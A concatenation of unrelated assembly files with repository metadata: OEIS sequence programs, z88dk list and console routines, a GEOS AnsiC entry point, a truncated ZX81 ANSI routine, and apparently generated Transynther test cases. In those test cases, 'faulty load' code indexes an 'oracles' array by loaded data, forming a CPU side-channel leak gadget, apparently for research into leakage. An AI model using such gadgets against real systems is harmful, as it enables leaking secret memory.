add %r8, %r8
lea addresses_WC_ht+0x14e2e, %rsi
lea addresses_WT_ht+0xcfcd, %rdi
nop
nop
nop
dec %r8
mov $20, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_WT_ht+0x14163, %r12
clflush (%r12)
nop
nop
inc %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
vmovups %ymm0, (%r12)
nop
nop
nop
nop
sub $63304, %rax
lea addresses_WT_ht+0x1bf5b, %rsi
lea addresses_D_ht+0x13f7b, %rdi
clflush (%rdi)
nop
nop
nop
sub $30843, %r12
mov $93, %rcx
rep movsb
nop
dec %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rcx
push %rsi
// Faulty Load
lea addresses_normal+0x112db, %rsi
nop
nop
and $22142, %rcx
mov (%rsi), %r13d
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %rsi
pop %rcx
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 38.65625 | 2,999 | 0.664673 |
8f3a00e303ccd65bb9b70dcc8319e55a3a1c8b7f | 336 | asm | Assembly | programs/oeis/202/A202174.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/202/A202174.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/202/A202174.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A202174: In base 10 lunar arithmetic, a(n) is the smallest number than has exactly n different square roots (or -1 if no such number exists).
; 1,111111111,222222222,333333333,444444444,555555555,666666666,777777777,888888888,999999999
mul $0,111111111
mov $2,$0
add $0,1
lpb $2
mov $1,1
mov $2,9
lpe
add $0,9
sub $0,$1
sub $0,9
| 24 | 143 | 0.732143 |
de4bc311c99c50951faae612a41694f9fde46af0 | 647 | asm | Assembly | oeis/001/A001348.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001348.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001348.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001348: Mersenne numbers: 2^p - 1, where p is prime.
; 3,7,31,127,2047,8191,131071,524287,8388607,536870911,2147483647,137438953471,2199023255551,8796093022207,140737488355327,9007199254740991,576460752303423487,2305843009213693951,147573952589676412927,2361183241434822606847,9444732965739290427391,604462909807314587353087,9671406556917033397649407,618970019642690137449562111,158456325028528675187087900671,2535301200456458802993406410751,10141204801825835211973625643007,162259276829213363391578010288127,649037107316853453566312041152511
seq $0,6005 ; The odd prime numbers together with 1.
max $0,2
mov $2,2
pow $2,$0
mov $0,$2
sub $0,1
| 64.7 | 489 | 0.867079 |
7a56954cfcd863ef04f1f6a5e7c3024c22703ac2 | 7,191 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_165.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_165.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_165.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1e680, %rsi
lea addresses_normal_ht+0x335c, %rdi
clflush (%rsi)
xor $53736, %rbx
mov $0, %rcx
rep movsq
nop
nop
sub $33669, %r8
lea addresses_WC_ht+0xb9c4, %rbp
nop
nop
and %r13, %r13
movb $0x61, (%rbp)
nop
nop
nop
xor $26133, %rbx
lea addresses_UC_ht+0x4164, %rdi
nop
nop
nop
nop
dec %r13
mov (%rdi), %bx
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0xdfe4, %rsi
lea addresses_D_ht+0x13d64, %rdi
nop
xor %r13, %r13
mov $12, %rcx
rep movsl
nop
nop
nop
nop
lfence
lea addresses_A_ht+0x1d664, %rsi
lea addresses_D_ht+0xcdc0, %rdi
nop
nop
and $2793, %r9
mov $17, %rcx
rep movsl
nop
nop
nop
nop
nop
add $64033, %r8
lea addresses_WT_ht+0xad42, %rsi
lea addresses_normal_ht+0x8164, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $61, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $29505, %r9
lea addresses_A_ht+0x17d64, %rdi
nop
xor %rbp, %rbp
mov (%rdi), %cx
nop
nop
nop
nop
add $19725, %rdi
lea addresses_WT_ht+0x168e4, %r9
nop
nop
nop
nop
sub %rsi, %rsi
mov (%r9), %ebp
nop
nop
nop
inc %rbp
lea addresses_UC_ht+0xdcfc, %rcx
nop
nop
nop
sub $8662, %rbp
mov (%rcx), %r8
nop
cmp %r9, %r9
lea addresses_A_ht+0x181a4, %r9
nop
nop
nop
nop
sub %r13, %r13
movl $0x61626364, (%r9)
add %rbp, %rbp
lea addresses_WT_ht+0x8764, %rbp
nop
nop
nop
nop
inc %rsi
mov (%rbp), %r9w
nop
nop
sub $25842, %rdi
lea addresses_WC_ht+0x13de4, %rsi
lea addresses_D_ht+0xc764, %rdi
nop
nop
sub %r8, %r8
mov $21, %rcx
rep movsq
nop
add $29829, %rdi
lea addresses_WC_ht+0xb164, %rcx
inc %rbp
vmovups (%rcx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
nop
nop
nop
cmp $48605, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rbp
push %rbx
push %rcx
// Faulty Load
lea addresses_A+0xad64, %rbp
nop
and %r15, %r15
movups (%rbp), %xmm6
vpextrq $1, %xmm6, %r14
lea oracles, %rbx
and $0xff, %r14
shlq $12, %r14
mov (%rbx,%r14,1), %r14
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 8}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 3}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 8}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 34.907767 | 2,999 | 0.656376 |
4b5f5796ac8ed7803fbec834ad45fa38790c47fb | 1,782 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_forward_list/z80/__p_forward_list_locate_item.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_forward_list/z80/__p_forward_list_locate_item.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_forward_list/z80/__p_forward_list_locate_item.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_adt_p_forward_list
PUBLIC __p_forward_list_locate_item
__p_forward_list_locate_item:
; enter : hl = forward_list_t *list
; bc = void *item
;
; exit : bc = void *item
;
; if item found
;
; de = void *item_prev_prev (item before hl)
; hl = void *item_prev (item before bc)
; carry reset
;
; if item not found
;
; de = void *item_last_prev (item before last)
; hl = void *item_last (last item in list)
; carry set
;
; notes : if list is empty
;
; de = forward_list_t *list
; hl = forward_list_t *list
; carry set
;
; if list has one item that matches bc
;
; de = forward_list_t *list
; hl = forward_list_t *list
; carry reset
;
; if list has one item that does not match bc
;
; de = forward_list_t *list
; hl = void *item_last (the only item in the list)
; carry set
;
; uses : af, de, hl
ld e,l
ld d,h
loop:
; de = void *lagger
; hl = void *current
ld a,(hl)
cp c
inc hl
jr z, match_possible
or (hl)
dec hl
jr z, list_end
try_next:
ld e,l
ld d,h ; de = new lagger
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
jr loop
match_possible:
ld a,(hl)
cp b
dec hl
ret z ; item found
or (hl)
jr nz, try_next ; if not at end of list
list_end:
ld a,b
or c
ret z ; do not indicate error if searching for end
; de = void *lagger
; hl = void *item_back
scf
ret
| 18.183673 | 75 | 0.480359 |
205c420cafe63ae1ae6dce452101ed832987343e | 1,588 | asm | Assembly | libsrc/target/pv1000/gencon/generic_console.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/target/pv1000/gencon/generic_console.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/target/pv1000/gencon/generic_console.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1 | 2019-12-03T23:28:20.000Z | 2019-12-03T23:28:20.000Z | ;
;
; VideoRAM = b800 -> baff -> 768 locations geom: 32 x 24
; gfxram = bc00 -> bfff -> 8 bytes unused, 8 bytes r, 8 bytes g, 8 bytes b
SECTION code_clib
PUBLIC generic_console_cls
PUBLIC generic_console_vpeek
PUBLIC generic_console_scrollup
PUBLIC generic_console_printc
PUBLIC generic_console_ioctl
PUBLIC generic_console_set_ink
PUBLIC generic_console_set_paper
PUBLIC generic_console_set_inverse
EXTERN CONSOLE_COLUMNS
EXTERN CONSOLE_ROWS
defc DISPLAY = 0xb800
generic_console_ioctl:
scf
generic_console_set_inverse:
ret
generic_console_set_ink:
ret
generic_console_set_paper:
ret
generic_console_cls:
ld hl, DISPLAY
ld de, DISPLAY +1
ld bc, +(32 * CONSOLE_ROWS) - 1
ld (hl),32
ldir
ret
; c = x
; b = y
; a = character to print
; e = raw
generic_console_printc:
call xypos
ld (hl),a
ret
;Entry: c = x,
; b = y
;Exit: nc = success
; a = character,
; c = failure
generic_console_vpeek:
call xypos
ld a,(hl)
and a
ret
xypos:
ld hl,DISPLAY - 30 ; We lose left most two columns
ld de,32
inc b
generic_console_printc_1:
add hl,de
djnz generic_console_printc_1
generic_console_printc_3:
add hl,bc ;hl now points to address in display
ret
generic_console_scrollup:
push de
push bc
ld hl, DISPLAY + 32
ld de, DISPLAY
ld bc,+ ((32) * (CONSOLE_ROWS-1))
ldir
ex de,hl
ld b,32
generic_console_scrollup_3:
ld (hl),32
inc hl
djnz generic_console_scrollup_3
pop bc
pop de
ret
| 17.075269 | 76 | 0.668766 |
5d42ce68d81b5db141a15e6471e170e53afe87f7 | 2,453 | asm | Assembly | Library/AnsiC/ansic.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/AnsiC/ansic.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/AnsiC/ansic.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Library/AnsiC
FILE: ansic.asm
AUTHOR: Don Reeves, Apr 23, 1992
ROUTINES:
Name Description
---- -----------
AnsiCEntry Library entry point
REVISION HISTORY:
Name Date Description
---- ---- -----------
don 4/23/92 Initial revision
DESCRIPTION:
Contains the library netry point for the ANSI C library
$Id: ansic.asm,v 1.1 97/04/04 17:42:17 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include ansicGeode.def
udata segment
mallocOffset word (?)
public mallocOffset
streamOffset word (?)
public streamOffset
udata ends
InitCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AnsiCEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Library entry point
CALLED BY: GLOBAL
PASS: di = Library Call Type
cx = handle of geode
RETURN: carry = clear if successful
= set otherwise
DESTROYED: BX, CX
PSEUDO CODE/STRATEGY:
* The malloc code needs two words of private data, one
for small blocks & the other for large blocks.
* The stream code needs one word of private data, for
a linked-list of stream handles
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 4/23/92 Initial version
Schoon 7/28/92 Revised for streams
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckHack <LCT_ATTACH eq 0>
AnsiCEntry proc far
.enter
; See if we are detaching
;
NOFXIP < segmov ds, dgroup, ax >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefDS ; ds = dgroup >
mov cx, 3 ; # of words to alloc/free => CX
cmp di, LCT_DETACH
jg done
jl next
mov bx, ds:[mallocOffset]
call GeodePrivFree
done:
clc ; no errors
jmp exit
; See if we are attaching
next: ; ax -> 0
mov bx, handle 0
call GeodePrivAlloc ; allocate words in private data
mov ds:[mallocOffset], bx
add bx, 4
mov ds:[streamOffset], bx
clc
cmp bx, 4 ; did allocation succeed ??
jnz exit
stc ; error
exit:
.leave
ret
AnsiCEntry endp
ForceRef AnsiCEntry
InitCode ends
| 20.613445 | 79 | 0.542193 |
8570d62990d333699987cc6717720ca9d41bada5 | 6,834 | asm | Assembly | libsrc/stdio/ansi/zx81/f_ansi_char.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/ansi/zx81/f_ansi_char.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/ansi/zx81/f_ansi_char.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ;
; Spectrum C Library
;
; ANSI Video handling for ZX Spectrum
;
; Handles colors referring to current PAPER/INK/etc. settings
;
; ** alternate (smaller) 4bit font capability:
; ** use the -DPACKEDFONT flag
; ** ROM font -DROMFONT
;
; set it up with:
; .text_cols = max columns
; .text_rows = max rows
; .DOTS+1 = char size
; .font = font file
;
; Display a char in location (ansi_ROW),(ansi_COLUMN)
; A=char to display
;
;
; $Id: f_ansi_char.asm,v 1.11 2015/01/23 07:07:31 stefano Exp $
;
PUBLIC ansi_CHAR
IF ROMFONT
LIB asctozx81
ENDIF
EXTERN base_graphics
EXTERN ansi_ROW
EXTERN ansi_COLUMN
PUBLIC text_cols
IF G007
PUBLIC text_rows
ENDIF
IF MTHRG
PUBLIC text_rows
ENDIF
; Dirty thing for self modifying code
PUBLIC INVRS
PUBLIC BOLD
IF A136COL
.text_cols defb 136
ENDIF
IF A128COL
.text_cols defb 128
ENDIF
IF A124COL
.text_cols defb 124
ENDIF
IF A80COL
.text_cols defb 80
ENDIF
IF A82COL
.text_cols defb 82
ENDIF
IF A85COL
.text_cols defb 85
ENDIF
IF A90COL
.text_cols defb 90
ENDIF
IF A64COL
.text_cols defb 64
ENDIF
IF A62COL
.text_cols defb 62
ENDIF
IF A68COL
.text_cols defb 68
ENDIF
IF A51COL
.text_cols defb 51
ENDIF
IF A49COL
.text_cols defb 49
ENDIF
IF A54COL
.text_cols defb 54
ENDIF
IF A42COL
.text_cols defb 42
ENDIF
IF A41COL
.text_cols defb 41
ENDIF
IF A40COL
.text_cols defb 40
ENDIF
IF A45COL
.text_cols defb 45
ENDIF
IF A36COL
.text_cols defb 36
ENDIF
IF B32COL
.text_cols defb 32
ENDIF
IF A35COL
.text_cols defb 35
ENDIF
IF A38COL
.text_cols defb 38
ENDIF
IF A32COL
.text_cols defb 32
ENDIF
IF A31COL
.text_cols defb 31
ENDIF
IF A34COL
.text_cols defb 34
ENDIF
IF A28COL
.text_cols defb 28
ENDIF
IF A24COL
.text_cols defb 24
ENDIF
IF A27COL
.text_cols defb 27
ENDIF
IF G007
.text_rows defb 23
ENDIF
IF MTHRG
.text_rows defb 24
ENDIF
.ansi_CHAR
; --- TO USE ROM FONT WE NEED TO MAP TO THE ASCII CODES ---
IF ROMFONT
ld hl,char+1
ld (hl),a
call asctozx81
ENDIF
; --- END OF ROM FONT ADAPTER ---
ld (char+1),a
ld a,(ansi_ROW) ; Line text position
IF G007
